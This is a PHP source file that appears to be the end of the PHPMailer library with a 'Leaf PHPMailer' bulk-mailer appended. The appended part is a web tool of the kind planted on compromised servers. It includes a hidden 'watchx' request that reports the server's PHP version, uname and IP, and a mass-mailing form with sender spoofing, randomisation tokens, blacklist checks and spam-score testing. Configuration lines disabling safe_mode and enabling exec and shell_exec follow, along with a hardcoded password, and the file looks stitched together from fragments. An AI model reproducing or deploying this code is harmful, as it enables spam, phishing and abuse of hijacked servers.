    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "qRWXvxM1Vn6";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
